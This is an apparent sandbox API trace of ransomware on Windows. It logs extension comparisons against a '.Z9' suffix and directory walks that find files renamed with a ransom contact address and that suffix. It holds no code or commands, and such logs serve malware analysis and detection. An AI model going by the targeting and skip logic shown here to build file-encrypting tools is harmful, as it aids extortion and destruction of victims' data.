	[0160.399] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jpx") returned 4
	[0160.399] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".js") returned 3
	[0160.399] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0160.399] lstrlenW (lpString=".jsf") returned 4
	[0160.399] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".json") returned 5
	[0160.399] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jsp") returned 4
	[0160.399] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".kdc") returned 4
	[0160.399] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".kmz") returned 4
	[0160.399] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".kwm") returned 4
	[0160.400] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".lasso") returned 6
	[0160.400] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0160.400] lstrlenW (lpString=".lbi") returned 4
	[0160.400] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".lgf") returned 4
	[0160.400] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".lgp") returned 4
	[0160.400] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".log") returned 4
	[0160.400] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".m1v") returned 4
	[0160.400] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".m4a") returned 4
	[0160.400] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".m4v") returned 4
	[0160.400] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".max") returned 4
	[0160.400] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".md") returned 3
	[0160.400] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0160.400] lstrlenW (lpString=".mda") returned 4
	[0160.400] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mdb") returned 4
	[0160.400] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mde") returned 4
	[0160.400] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mdf") returned 4
	[0160.400] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mdw") returned 4
	[0160.400] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mef") returned 4
	[0160.400] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mft") returned 4
	[0160.400] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0160.400] lstrlenW (lpString=".mfw") returned 4
	[0160.400] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mht") returned 4
	[0160.401] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mhtml") returned 6
	[0160.401] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mka") returned 4
	[0160.401] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mkidx") returned 6
	[0160.401] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mkv") returned 4
	[0160.401] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mos") returned 4
	[0160.401] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mov") returned 4
	[0160.401] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mp3") returned 4
	[0160.401] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mp4") returned 4
	[0160.401] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mpeg") returned 5
	[0160.401] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mpg") returned 4
	[0160.401] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mpv") returned 4
	[0160.401] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mrw") returned 4
	[0160.401] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".msg") returned 4
	[0160.401] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".mxl") returned 4
	[0160.401] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".myd") returned 4
	[0160.401] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".myi") returned 4
	[0160.401] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".nef") returned 4
	[0160.401] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0160.401] lstrlenW (lpString=".nrw") returned 4
	[0160.401] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".obj") returned 4
	[0160.402] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".odb") returned 4
	[0160.402] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".odc") returned 4
	[0160.402] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".odm") returned 4
	[0160.402] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".odp") returned 4
	[0160.402] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".ods") returned 4
	[0160.402] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".oft") returned 4
	[0160.402] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".one") returned 4
	[0160.402] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".onepkg") returned 7
	[0160.402] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0160.402] lstrlenW (lpString=".onetoc2") returned 8
	[0160.402] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0160.402] lstrlenW (lpString=".opt") returned 4
	[0160.402] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".oqy") returned 4
	[0160.402] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".orf") returned 4
	[0160.402] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".p12") returned 4
	[0160.402] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".p7b") returned 4
	[0160.402] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".p7c") returned 4
	[0160.402] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".pam") returned 4
	[0160.402] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".pbm") returned 4
	[0160.402] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0160.402] lstrlenW (lpString=".pct") returned 4
	[0160.403] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pcx") returned 4
	[0160.403] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pdd") returned 4
	[0160.403] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pdf") returned 4
	[0160.403] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pdp") returned 4
	[0160.403] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pef") returned 4
	[0160.403] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pem") returned 4
	[0160.403] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pff") returned 4
	[0160.403] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pfm") returned 4
	[0160.403] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pfx") returned 4
	[0160.403] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pgm") returned 4
	[0160.403] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".php") returned 4
	[0160.403] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0160.403] lstrlenW (lpString=".php3") returned 5
	[0160.403] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0160.403] lstrlenW (lpString=".php4") returned 5
	[0160.403] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0160.403] lstrlenW (lpString=".php5") returned 5
	[0160.403] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0160.403] lstrlenW (lpString=".phtml") returned 6
	[0160.403] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pict") returned 5
	[0160.403] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0160.403] lstrlenW (lpString=".pl") returned 3
	[0160.403] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0160.403] lstrlenW (lpString=".pls") returned 4
	[0160.403] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pm") returned 3
	[0160.404] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0160.404] lstrlenW (lpString=".png") returned 4
	[0160.404] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pnm") returned 4
	[0160.404] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pot") returned 4
	[0160.404] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".potm") returned 5
	[0160.404] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0160.404] lstrlenW (lpString=".potx") returned 5
	[0160.404] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0160.404] lstrlenW (lpString=".ppa") returned 4
	[0160.404] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".ppam") returned 5
	[0160.404] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0160.404] lstrlenW (lpString=".ppm") returned 4
	[0160.404] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pps") returned 4
	[0160.404] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".ppsm") returned 5
	[0160.404] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0160.404] lstrlenW (lpString=".ppt") returned 4
	[0160.404] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pptm") returned 5
	[0160.404] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pptx") returned 5
	[0160.404] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0160.404] lstrlenW (lpString=".prn") returned 4
	[0160.404] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".ps") returned 3
	[0160.404] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0160.404] lstrlenW (lpString=".psb") returned 4
	[0160.404] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".psd") returned 4
	[0160.404] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0160.404] lstrlenW (lpString=".pst") returned 4
	[0160.405] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".ptx") returned 4
	[0160.405] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".pub") returned 4
	[0160.405] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".pwm") returned 4
	[0160.405] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".pxr") returned 4
	[0160.405] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".py") returned 3
	[0160.405] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0160.405] lstrlenW (lpString=".qt") returned 3
	[0160.405] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0160.405] lstrlenW (lpString=".r3d") returned 4
	[0160.405] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".raf") returned 4
	[0160.405] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".rar") returned 4
	[0160.405] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0160.405] lstrlenW (lpString=".raw") returned 4
	[0160.405] lstrcmpiW (lpString1=".raw", lpString2="].Z9") returned -1
	[0160.405] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e8ba73, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.405] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.405] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.405] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.406] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0160.406] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.406] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0160.597] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.597] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35eb493b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35eb493b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36302030, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.597] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3678e95a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3678e95a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3678e95a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.597] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362dbdff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362dbdff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.598] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362dbdff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362dbdff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.598] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0160.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.599] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0160.599] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.599] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.600] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.600] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36302030, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36302030, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3639aa17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.601] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36374648, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36374648, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3639aa17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.601] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364b9b23, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364b9b23, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.601] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364b9b23, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364b9b23, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.601] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0160.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.602] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0160.602] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.602] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.605] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
